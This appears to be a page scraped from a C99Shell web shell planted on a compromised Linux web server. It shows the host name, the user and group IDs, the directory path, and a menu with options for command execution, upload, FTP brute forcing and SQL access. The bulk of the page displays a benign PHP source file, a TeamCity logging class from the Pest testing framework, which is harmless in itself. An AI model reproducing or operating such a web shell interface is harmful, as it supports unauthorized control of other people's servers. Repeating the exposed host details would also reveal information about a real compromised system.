!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Logging/TeamCity/   drwxr-xr-x
Free 29.02 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServiceMessage.php (3.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Logging\TeamCity;

/**
 * @internal
 */
final class ServiceMessage
{
    private static ?
int $flowId null;

    
/**
     * @param  array<string, string|int|null>  $parameters
     */
    
public function __construct(
        private readonly 
string $type,
        private readonly array 
$parameters,
    ) {}

    public function 
toString(): string
    
{
        
$paramsToString '';

        foreach ([...
$this->parameters'flowId' => self::$flowId] as $key => $value) {
            
$value $this->escapeServiceMessage((string) $value);
            
$paramsToString .= $key='$value'";
        }

        return 
"##teamcity[$this->type$paramsToString]";
    }

    public static function 
testSuiteStarted(string $name, ?string $location): self
    
{
        return new 
self('testSuiteStarted', [
            
'name' => $name,
            
'locationHint' => $location === null null "file://$location",
        ]);
    }

    public static function 
testSuiteCount(int $count): self
    
{
        return new 
self('testCount', [
            
'count' => $count,
        ]);
    }

    public static function 
testSuiteFinished(string $name): self
    
{
        return new 
self('testSuiteFinished', [
            
'name' => $name,
        ]);
    }

    public static function 
testStarted(string $namestring $location): self
    
{
        return new 
self('testStarted', [
            
'name' => $name,
            
'locationHint' => "pest_qn://$location",
        ]);
    }

    
/**
     * @param  int  $duration  in milliseconds
     */
    
public static function testFinished(string $nameint $duration): self
    
{
        return new 
self('testFinished', [
            
'name' => $name,
            
'duration' => $duration,
        ]);
    }

    public static function 
testStdOut(string $namestring $data): self
    
{
        if (! 
str_ends_with($data"\n")) {
            
$data .= "\n";
        }

        return new 
self('testStdOut', [
            
'name' => $name,
            
'out' => $data,
        ]);
    }

    public static function 
testFailed(string $namestring $messagestring $details): self
    
{
        return new 
self('testFailed', [
            
'name' => $name,
            
'message' => $message,
            
'details' => $details,
        ]);
    }

    public static function 
testStdErr(string $namestring $data): self
    
{
        if (! 
str_ends_with($data"\n")) {
            
$data .= "\n";
        }

        return new 
self('testStdErr', [
            
'name' => $name,
            
'out' => $data,
        ]);
    }

    public static function 
testIgnored(string $namestring $message, ?string $details null): self
    
{
        return new 
self('testIgnored', [
            
'name' => $name,
            
'message' => $message,
            
'details' => $details,
        ]);
    }

    public static function 
comparisonFailure(string $namestring $messagestring $detailsstring $actualstring $expected): self
    
{
        return new 
self('testFailed', [
            
'name' => $name,
            
'message' => $message,
            
'details' => $details,
            
'type' => 'comparisonFailure',
            
'actual' => $actual,
            
'expected' => $expected,
        ]);
    }

    private function 
escapeServiceMessage(string $text): string
    
{
        return 
str_replace(
            [
'|'"'""\n""\r"']''['],
            [
'||'"|'"'|n''|r''|]''|['],
            
$text
        
);
    }

    public static function 
setFlowId(int $flowId): void
    
{
        
self::$flowId $flowId;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--